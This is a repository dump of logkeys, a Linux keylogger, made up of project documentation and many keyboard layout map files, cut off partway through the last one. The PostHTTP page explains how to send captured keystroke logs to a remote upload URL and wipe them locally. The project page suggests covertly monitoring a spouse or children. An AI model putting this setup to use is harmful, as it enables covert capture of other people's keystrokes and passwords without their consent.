-------------------------------------------------------------------------------- /docs/PostHTTP.md: -------------------------------------------------------------------------------- 1 | ![warning](./docs_warning.png) 2 | 3 | # Post to HTTP # 4 | A sample implementation: 5 | 6 | 1. Get some [PHP web hosting](http://www.google.com/search?q=free+web+hosting), and get a [domain name](http://www.getfreedomain.name/). 7 | 8 | 2. Upload the following PHP script, name it "upload.php" 9 | ``` 10 | 21 | ``` 22 | 23 | 3. Run logkeys with `--post-http=http://your.doma.in/upload.php` and it will upload log to specified URL every once it reaches `--post-size` in size (default 500KB). Note, the script above will overwrite "new.log" file every time. Also note that once the log is successfully sent, it is wiped from the monitored computer. 24 | -------------------------------------------------------------------------------- /docs/ProjectHome.md: -------------------------------------------------------------------------------- 1 | ![warning](./docs_warning.png) 2 | 3 | # logkeys Linux keylogger # 4 | 5 | ## Important announcement for Arch Linux users ## 6 | 7 | logkeys was having an [issue on Arch Linux where it produced an empty 8 | log](https://github.com/kernc/logkeys/issues/60). The issue 9 | is now fixed in the repository (fix found by **bytbox** from the Arch 10 | Linux community), so if you're on Arch (or you seem to experience this 11 | issue), please check out the source from GitHub. 12 | 13 | ## NEWS: logkeys version 0.1.1a (alpha) released ## 14 | * fixed 100% CPU issue on x64 15 | * various bug fixes 16 | * removed pgrep dependency 17 | * PID file now in /var/run/ 18 | * other symlink attack vulnerability fixes 19 | * other security fixes 20 | * code refactoring 21 | * remote log uploading via HTTP 22 | * lkl and lklk are now llk and llkk to avoid confusion 23 | * llk and llkk are now programs that run logkeys-start.sh/-stop.sh scripts 24 | * also recognize "HID" USB keyboard devices 25 | * bug fixes 26 | 27 | --- 28 | 29 | ### What is logkeys? 30 | 31 | **logkeys is a linux keylogger** (GNU/Linux systems only). It is no 32 | more advanced than other available linux keyloggers, but is a bit more 33 | up to date, it doesn't unreliably repeat keys and it should never 34 | crash your X. All in all, it just seems to work. It relies on event 35 | interface of the Linux input subsystem. Once set, it logs all common 36 | character and function keys, while also being fully aware of Shift and 37 | AltGr key modifiers. **It works with serial as well as USB 38 | keyboards**. 39 | 40 | ### What is a keylogger? 41 | 42 | Keylogger is a software that quietly monitors keyboard input so as to 43 | log any keypresses the user makes. Keyloggers can be used by malicious 44 | attackers to sniff out passwords and other sensitive textual 45 | information, but often times the user himself (or the corporate 46 | branch) wants to monitor his computer unattended (or the employees), 47 | reliably storing any unauthorized keyboard activity for later 48 | inspection. For example, when you leave your PC just to grab a quick 49 | bite from the vending machine, you might want to know if anybody was 50 | touching it while you were gone. Or you could use it to monitor your 51 | supposedly cheating wife, or young kids while they are surfing the 52 | web. You could also use it to obtain statistics of your most pressed 53 | keys in order to create your custom Dvorak-style keyboard (I've seen 54 | that done). Perhaps you want EVERYTHING you've typed or written in the 55 | past months archived for ANY purpose... Uses are limitless. 56 | 57 | ### Are there alternative Linux keyloggers? 58 | 59 | There is a plethora of keyloggers for Windows, but not so many for Linux. 60 | 61 | On GNU/Linux systems and other reasonable operating systems, 62 | keyloggers can be easily implemented with a few lines of shell 63 | code. Novice users, however, are usually limited to a narrow set of 64 | the following tools: 65 | 66 | - [lkl](http://sourceforge.net/projects/lkl/) 67 | - [uberkey](http://gnu.ethz.ch/linuks.mine.nu/uberkey/) 68 | - [THC-vlogger](http://freeworld.thc.org/releases.php?q=vlogger), made 69 | by a renowned group of hackers 70 | - [PyKeylogger](http://pykeylogger.sourceforge.net/). 71 | 72 | All these tools have their pros and cons: 73 | 74 | - Lkl sometimes abnormally repeats keys and [its keymap configuration is rather 75 | awkward](http://www.google.com/search?q=lkl+keymap) for a range of 76 | users. 77 | - Uberkey, which is just over a hundred lines of code, also often 78 | repeats keys and [sometimes makes your mouse move 79 | abruptly](http://www.google.com/search?q=uberkey+mouse+problem), 80 | losing any sense of control. 81 | - PyKeylogger is very feature rich, but only works in an X 82 | environment. 83 | - vlogger only logs shell sessions and currently the code does not 84 | build (on Ubuntu 14.04 at least). 85 | 86 | There may be other tools, but logkeys definitely makes a 87 | simple and competitive addition. 88 | 89 | ### What keyboards logkeys does work with? 90 | 91 | logkeys supports keyboards like on the image below (courtesy of 92 | SEOConsultants.com). These are standard 101 to 105-key PC keyboards 93 | with no Asian extensions. 94 | 95 | ![104-key PC keyboard'](./keyboard.png) 96 | 97 | logkeys should also work with serial as well as USB 98 | keyboards, or similar "HID" devices. 99 | 100 | -------------------------------------------------------------------------------- /docs/docs_warning.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kernc/logkeys/98aac72b91bcfc1fe9ed4a15006676642a7d9024/docs/docs_warning.png -------------------------------------------------------------------------------- /docs/keyboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kernc/logkeys/98aac72b91bcfc1fe9ed4a15006676642a7d9024/docs/keyboard.png -------------------------------------------------------------------------------- /keymaps/ca_FR.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! ± 3 | 2 " @ 4 | 3 / £ 5 | 4 $ ¢ 6 | 5 % ¤ 7 | 6 ? ¬ 8 | 7 & ¦ 9 | 8 * ² 10 | 9 ( ³ 11 | 0 ) ¼ 12 | - _ ½ 13 | = + ¾ 14 | 15 | 16 | q Q 17 | w W 18 | e E 19 | r R 20 | t T 21 | y Y 22 | u U 23 | i I 24 | o O § 25 | p P ¶ 26 | ^ ^ [ 27 | ¸ ¨ ] 28 | 29 | 30 | a A 31 | s S 32 | d D 33 | f F 34 | g G 35 | h H 36 | j J 37 | k K 38 | l L 39 | ; : ~ 40 | ` ` { 41 | # | \ 42 | 43 | < > } 44 | z Z 45 | x X 46 | c C 47 | v V 48 | b B 49 | n N 50 | m M µ 51 | , ' ¯ 52 | . .­ 53 | é É 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | Ĉ 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/cs_CZ.map: -------------------------------------------------------------------------------- 1 | 2 | + 1 ! 3 | ě 2 @ 4 | š 3 # 5 | č 4 $ 6 | ř 5 % 7 | ž 6 ^ 8 | ý 7 & 9 | á 8 * 10 | í 9 { 11 | é 0 } 12 | = % \ 13 | ´ ˇ ¯ 14 | 15 | 16 | q Q \ 17 | w W | 18 | e E € 19 | r R ¶ 20 | t T ŧ 21 | z Z ← 22 | u U ↓ 23 | i I → 24 | o O ø 25 | p P þ 26 | ú / [ 27 | ) ( ] 28 | 29 | 30 | a A ~ 31 | s S đ 32 | d D Đ 33 | f F [ 34 | g G ] 35 | h H ` 36 | j J ' 37 | k K ł 38 | l L Ł 39 | ů " $ 40 | § ! ' 41 | ; ° ` 42 | 43 | ¨ ' \ 44 | y Y ° 45 | x X # 46 | c C & 47 | v V @ 48 | b B { 49 | n N } 50 | m M ^ 51 | , ? < 52 | . : > 53 | - _ * 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/de.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! 3 | 2 " ² 4 | 3 § ³ 5 | 4 $ 6 | 5 % 7 | 6 & 8 | 7 / { 9 | 8 ( [ 10 | 9 ) ] 11 | 0 = } 12 | ß ? \ 13 | ´ ` 14 | 15 | 16 | q Q @ 17 | w W 18 | e E € 19 | r R 20 | t T 21 | z Z 22 | u U 23 | i I 24 | o O 25 | p P 26 | ü Ü 27 | + * ~ 28 | 29 | 30 | a A 31 | s S 32 | d D 33 | f F 34 | g G 35 | h H 36 | j J 37 | k K 38 | l L 39 | ö Ö 40 | ä Ä 41 | ^ ° 42 | 43 | # ' 44 | y Y 45 | x X 46 | c C 47 | v V 48 | b B 49 | n N 50 | m M µ 51 | , ; 52 | . : 53 | - _ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/de_CH.map: -------------------------------------------------------------------------------- 1 | 2 | 1 + | 3 | 2 " @ 4 | 3 * # 5 | 4 ç ¼ 6 | 5 % ½ 7 | 6 & ¬ 8 | 7 / | 9 | 8 ( ¢ 10 | 9 ) ] 11 | 0 = } 12 | ' ? ' 13 | ^ ` ~ 14 | 15 | 16 | q Q @ 17 | w W ł 18 | e E € 19 | r R ¶ 20 | t T ŧ 21 | z Z ← 22 | u U ↓ 23 | i I → 24 | o O ø 25 | p P þ 26 | ü è [ 27 | " ! ] 28 | 29 | 30 | a A æ 31 | s S ß 32 | d D ð 33 | f F đ 34 | g G ŋ 35 | h H ħ 36 | j J j 37 | k K ĸ 38 | l L ł 39 | ö é ' 40 | ä à { 41 | § ° ¬ 42 | 43 | $ £ } 44 | y Y « 45 | x X » 46 | c C ¢ 47 | v V “ 48 | b B ” 49 | n N n 50 | m M µ 51 | , ; 52 | . : · 53 | - _ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > \ 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/en_GB.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! 3 | 2 " 4 | 3 £ 5 | 4 $ 6 | 5 % 7 | 6 ^ 8 | 7 & 9 | 8 * 10 | 9 ( 11 | 0 ) 12 | - _ 13 | = + 14 | 15 | 16 | q Q 17 | w W 18 | e E 19 | r R 20 | t T 21 | y Y 22 | u U 23 | i I 24 | o O 25 | p P 26 | [ { 27 | ] } 28 | 29 | 30 | a A 31 | s S 32 | d D 33 | f F 34 | g G 35 | h H 36 | j J 37 | k K 38 | l L 39 | ; : 40 | ' @ 41 | ` ¬ 42 | 43 | # ~ 44 | z Z 45 | x X 46 | c C 47 | v V 48 | b B 49 | n N 50 | m M 51 | , < 52 | . > 53 | / ? 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | \ | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/en_US_dvorak.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! 1 3 | 2 @ 4 | 3 # 5 | 4 $ 6 | 5 % 7 | 6 ^ 8 | 7 & 9 | 8 * 10 | 9 ( 9 11 | 0 ) 0 12 | [ { 13 | ] } 14 | 15 | 16 | ' " 17 | , < 18 | . > 19 | p P 20 | y Y 21 | f F 22 | g G 23 | c C 24 | r R 25 | l L 26 | / ? 27 | = + 28 | 29 | 30 | a A 31 | o O 32 | e E 33 | u U 34 | i I 35 | d D 36 | h H 37 | t T 38 | n N 39 | s S 40 | - _ 41 | \ | 42 | 43 | < > 44 | ; : 45 | q Q 46 | j J 47 | k K 48 | x X 49 | b B 50 | m M 51 | w W 52 | v V 53 | z Z 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | Ĉ 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/en_US_ubuntu_1204.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! 1 3 | 2 @ 4 | 3 # 5 | 4 $ 6 | 5 % 7 | 6 ^ 8 | 7 & 9 | 8 * 10 | 9 ( 9 11 | 0 ) 0 12 | - _ 13 | = + = 14 | 15 | 16 | q Q 17 | w W 18 | e E 19 | r R 20 | t T 21 | y Y 22 | u U 23 | i I 24 | o O 25 | p P 26 | [ { 27 | ] } 28 | 29 | 30 | a A 31 | s S 32 | d D 33 | f F 34 | g G 35 | h H 36 | j J 37 | k K 38 | l L 39 | ; : ; 40 | ' " ' 41 | ` ~ ` 42 | 43 | \ | 44 | z Z 45 | x X 46 | c C 47 | v V 48 | b B 49 | n N 50 | m M 51 | , < , 52 | . > . 53 | / ? / 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | Ĉ 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/es_AR.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! | 3 | 2 " @ 4 | 3 # · 5 | 4 $ ~ 6 | 5 % ½ 7 | 6 & ¬ 8 | 7 / { 9 | 8 ( [ 10 | 9 ) ] 11 | 0 = } 12 | ' ? \ 13 | ¿ ¡ 14 | 15 | 16 | q Q @ 17 | w W ł 18 | e E € 19 | r R ¶ 20 | t T ŧ 21 | y Y ← 22 | u U ↓ 23 | i I → 24 | o O ø 25 | p P þ 26 | ´ ¨ ¨ 27 | + * ~ 28 | 29 | 30 | a A æ 31 | s S ß 32 | d D ð 33 | f F đ 34 | g G ŋ 35 | h H ħ 36 | j J ł 37 | k K ĸ 38 | l L ł 39 | ñ Ñ ~ 40 | { [ ^ 41 | | ° ¬ 42 | 43 | } ] ` 44 | z Z « 45 | x X » 46 | c C ¢ 47 | v V “ 48 | b B ” 49 | n N n 50 | m M µ 51 | , ; 52 | . : · 53 | - _ ̣ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/es_ES.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! | 3 | 2 " @ 4 | 3 · # 5 | 4 $ ~ 6 | 5 % ½ 7 | 6 & ¬ 8 | 7 / 9 | 8 ( 10 | 9 ) 11 | 0 = 12 | ' ? 13 | ¡ ¿ 14 | 15 | 16 | q Q 17 | w W 18 | e E € 19 | r R 20 | t T 21 | y Y 22 | u U 23 | i I 24 | o O 25 | p P 26 | ` ^ [ 27 | + * ] 28 | 29 | 30 | a A 31 | s S 32 | d D 33 | f F 34 | g G 35 | h H 36 | j J 37 | k K 38 | l L 39 | ñ Ñ 40 | ´ ¨ { 41 | º ª \ 42 | 43 | ç Ç } 44 | z Z 45 | x X 46 | c C 47 | v V 48 | b B 49 | n N 50 | m M 51 | , ; 52 | . : 53 | - _ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/fr-dvorak-bepo.map: -------------------------------------------------------------------------------- 1 | 2 | " 1 3 | « 2 < 4 | » 3 > 5 | ( 4 [ 6 | ) 5 ] 7 | @ 6 ^ 8 | + 7 ± 9 | - 8 10 | / 9 ÷ 11 | * 0 × 12 | = ° 13 | % ` 14 | 15 | 16 | b B | 17 | é É Ё 18 | p P & 19 | o O ½ 20 | è È Ѐ 21 | Ђ ! ¡ 22 | v V Ђ 23 | d D ð 24 | l L 25 | j J 26 | z Z 27 | w W Ѓ 28 | 29 | 30 | a A æ 31 | u U ù 32 | i I Є 33 | e E ¤ 34 | , ; 35 | c C © 36 | t T þ 37 | s S ß 38 | r R ® 39 | n N Ѓ 40 | m M 41 | $ # 42 | 43 | ç Ç Ѕ 44 | à À \ 45 | y Y { 46 | x X } 47 | . : 48 | k K ~ 49 | ' ? ¿ 50 | q Q 51 | g G 52 | h H 53 | f F Ѕ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | ̊ 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/fr.map: -------------------------------------------------------------------------------- 1 | 2 | & 1 ´ 3 | é 2 ~ 4 | " 3 # 5 | ' 4 { 6 | ( 5 [ 7 | - 6 | 8 | è 7 ` 9 | _ 8 \ 10 | ç 9 ^ 11 | à 0 @ 12 | ) ° ] 13 | = + } 14 | 15 | 16 | a A â 17 | z Z å 18 | e E € 19 | r R ç 20 | t T þ 21 | y Y ý 22 | u U û 23 | i I î 24 | o O ô 25 | p P ¶ 26 | ^ ¨ ~ 27 | $ £ ê 28 | 29 | 30 | q Q  31 | s S ø 32 | d D Ê 33 | f F ± 34 | g G æ 35 | h H ð 36 | j J Û 37 | k K Î 38 | l L Ô 39 | m M ¹ 40 | ù % ² 41 | œ Œ “ 42 | 43 | * µ ³ 44 | w W « 45 | x X » 46 | c C © 47 | v V ® 48 | b B ß 49 | n N ¬ 50 | , ? ¿ 51 | ; . × 52 | : / ÷ 53 | ! § ¡ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/fr_CH.map: -------------------------------------------------------------------------------- 1 | 2 | 1 + | 3 | 2 " @ 4 | 3 * # 5 | 4 ç ¼ 6 | 5 % ½ 7 | 6 & ¬ 8 | 7 / | 9 | 8 ( ¢ 10 | 9 ) ] 11 | 0 = } 12 | ' ? ' 13 | ^ ` ~ 14 | 15 | 16 | q Q @ 17 | w W ł 18 | e E € 19 | r R ¶ 20 | t T ŧ 21 | z Z ← 22 | u U ↓ 23 | i I → 24 | o O ø 25 | p P þ 26 | è ü [ 27 | " ! ] 28 | 29 | 30 | a A æ 31 | s S ß 32 | d D ð 33 | f F đ 34 | g G ŋ 35 | h H ħ 36 | j J j 37 | k K ĸ 38 | l L ł 39 | é ö ' 40 | à ä { 41 | § ° ¬ 42 | 43 | $ £ } 44 | y Y « 45 | x X » 46 | c C ¢ 47 | v V “ 48 | b B ” 49 | n N n 50 | m M µ 51 | , ; 52 | . : · 53 | - _ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > \ 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/hu.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ' ~ 3 | 2 " 4 | 3 + ^ 5 | 4 ! 6 | 5 % * 7 | 6 / 8 | 7 = ` 9 | 8 ( . 10 | 9 ) 11 | ö Ö 12 | ü Ü 13 | ó Ó 14 | 15 | 16 | q Q \ 17 | w W | 18 | e E 19 | r R ¶ 20 | t T ŧ 21 | z Z ← 22 | u U € 23 | i I Í 24 | o O ø 25 | p P þ 26 | ő Ő ÷ 27 | ú Ú × 28 | 29 | 30 | a A ä 31 | s S đ 32 | d D Đ 33 | f F [ 34 | g G ] 35 | h H ħ 36 | j J í 37 | k K ł 38 | l L Ł 39 | é É $ 40 | á Á ß 41 | 0 § ¬ 42 | 43 | ű Ű ¤ 44 | y Y > 45 | x X # 46 | c C & 47 | v V @ 48 | b B { 49 | n N } 50 | m M < 51 | , ? ; 52 | . : > 53 | - _ * 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | í Í < 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/it.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! ¹ 3 | 2 " ² 4 | 3 £ ³ 5 | 4 $ ¼ 6 | 5 % ½ 7 | 6 & ¬ 8 | 7 / { 9 | 8 ( [ 10 | 9 ) ] 11 | 0 = } 12 | ' ? ` 13 | ì ^ ì 14 | 15 | 16 | q Q @ 17 | w W ł 18 | e E € 19 | r R ¶ 20 | t T ŧ 21 | y Y ← 22 | u U ↓ 23 | i I → 24 | o O ø 25 | p P þ 26 | è é [ 27 | + * ] 28 | 29 | 30 | a A æ 31 | s S ß 32 | d D ð 33 | f F đ 34 | g G ŋ 35 | h H ħ 36 | j J̉ 37 | k K ĸ 38 | l L ł 39 | ò ç @ 40 | à ° # 41 | \ | ¬ 42 | 43 | ù § 44 | z Z « 45 | x X » 46 | c C ¢ 47 | v V “ 48 | b B ” 49 | n N ñ 50 | m M µ 51 | , ; 52 | . : · 53 | - _ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > « 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/no.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! ¡ 3 | 2 " @ 4 | 3 # £ 5 | 4 ¤ $ 6 | 5 % ½ 7 | 6 & ¥ 8 | 7 / { 9 | 8 ( [ 10 | 9 ) ] 11 | 0 = } 12 | + ? ± 13 | \ ` ' 14 | 15 | 16 | q Q @ 17 | w W ł 18 | e E € 19 | r R ® 20 | t T þ 21 | y Y ← 22 | u U ↓ 23 | i I → 24 | o O œ 25 | p P π 26 | å Å ¨ 27 | ¨ ^ ~ 28 | 29 | 30 | a A ª 31 | s S ß 32 | d D ð 33 | f F đ 34 | g G ŋ 35 | h H ħ 36 | j J 37 | k K ĸ 38 | l L ł 39 | ø Ø ´ 40 | æ Æ ^ 41 | ' * ˝ 42 | 43 | < > ½ 44 | z Z « 45 | x X » 46 | c C © 47 | v V “ 48 | b B ” 49 | n N n 50 | m M µ 51 | , ; ¸ 52 | . : … 53 | - _ – 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | ̊ 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/pl.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! ¹ 3 | 2 @ ² 4 | 3 # ³ 5 | 4 $ ¼ 6 | 5 % ½ 7 | 6 ^ ¾ 8 | 7 & { 9 | 8 * [ 10 | 9 ( ] 11 | 0 ) } 12 | - _ \ 13 | = + ¸ 14 | 15 | 16 | q Q @ 17 | w W ł 18 | e E ę 19 | r R ¶ 20 | t T ŧ 21 | y Y ← 22 | u U ↓ 23 | i I → 24 | o O ó 25 | p P þ 26 | [ { ¨ 27 | ] } ~ 28 | 29 | 30 | a A ą 31 | s S ś 32 | d D ð 33 | f F đ 34 | g G ŋ 35 | h H ħ 36 | j J j 37 | k K ĸ 38 | l L ł 39 | ; : ´ 40 | ' " ^ 41 | ` ~ ¬ 42 | 43 | \ | ` 44 | z Z ż 45 | x X ź 46 | c C ć 47 | v V “ 48 | b B ” 49 | n N ń 50 | m M µ 51 | , < 52 | . > · 53 | / ? 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | Ą 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/pt_BR.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! ¹ 3 | 2 @ ² 4 | 3 # ³ 5 | 4 $ £ 6 | 5 % ¢ 7 | 6 Є ¬ 8 | 7 & { 9 | 8 * [ 10 | 9 ( ] 11 | 0 ) } 12 | - _ 13 | = + § 14 | 15 | 16 | q Q 17 | w W 18 | e E 19 | r R ® 20 | t T 21 | y Y 22 | u U 23 | i I 24 | o O 25 | p P 26 | Ё Ѐ 27 | [ { ª 28 | 29 | 30 | a A 31 | s S 32 | d D 33 | f F 34 | g G 35 | h H 36 | j J 37 | k K 38 | l L 39 | ç Ç 40 | ~ ^ 41 | ' " 42 | 43 | ] } º 44 | z Z 45 | x X 46 | c C 47 | v V 48 | b B 49 | n N 50 | m M µ 51 | , < 52 | . > 53 | ; : 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | \ | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/pt_PT.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! ¹ 3 | 2 " @ 4 | 3 # £ 5 | 4 $ § 6 | 5 % ¢ 7 | 6 & ¬ 8 | 7 / { 9 | 8 ( [ 10 | 9 ) ] 11 | 0 = } 12 | ' ? 13 | « » 14 | 15 | 16 | q Q 17 | w W 18 | e E € 19 | r R 20 | t T 21 | y Y 22 | u U 23 | i I 24 | o O 25 | p P 26 | + * " 27 | ' ` 28 | 29 | 30 | a A 31 | s S 32 | d D 33 | f F 34 | g G 35 | h H 36 | j J 37 | k K 38 | l L 39 | ç Ç 40 | º ª 41 | \ | 42 | 43 | ~ ^ 44 | z Z 45 | x X 46 | c C 47 | v V 48 | b B 49 | n N 50 | m M 51 | , ; 52 | . : 53 | - _ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/ro.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! ~ 3 | 2 " @ 4 | 3 # ^ 5 | 4 ¤ ¼ 6 | 5 % ° 7 | 6 & ¾ 8 | 7 / ` 9 | 8 ( [ 10 | 9 ) ] 11 | 0 = } 12 | + ? \ 13 | ' * Ѕ 14 | 15 | 16 | q Q \ 17 | w W | 18 | e E € 19 | r R ¶ 20 | t T ŧ 21 | z Z ← 22 | u U ↓ 23 | i I → 24 | o O ø 25 | p P þ 26 | ă Ă ÷ 27 | î Î × 28 | 29 | 30 | a A æ 31 | s S ß 32 | d D ð 33 | f F đ 34 | g G ŋ 35 | h H ħ 36 | j J 37 | k K ĸ 38 | l L ł 39 | ş Ş $ 40 | ţ Ţ ß 41 | ] [ ¬ 42 | 43 | 